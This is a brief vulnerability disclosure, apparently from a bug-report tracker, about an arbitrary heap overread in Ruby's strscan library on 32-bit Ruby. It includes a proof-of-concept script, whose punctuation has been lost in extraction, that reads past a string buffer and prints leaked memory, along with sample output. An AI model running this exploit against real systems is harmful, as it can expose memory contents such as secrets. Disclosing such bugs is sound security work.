Ruby: Arbitrary heap overread in strscan on 32 bit Ruby, patch included

ruby require 'strscan' x = 'x' 0x7FFFFFFE s = StringScanner.newx s.pos = 0x7FFFFFFD t = s.peek40000 t.eachbyte do |i| if i != 0 print i.chr end end Run: sh ./ruby r.rb | strings My output: @ ;@VTdBE...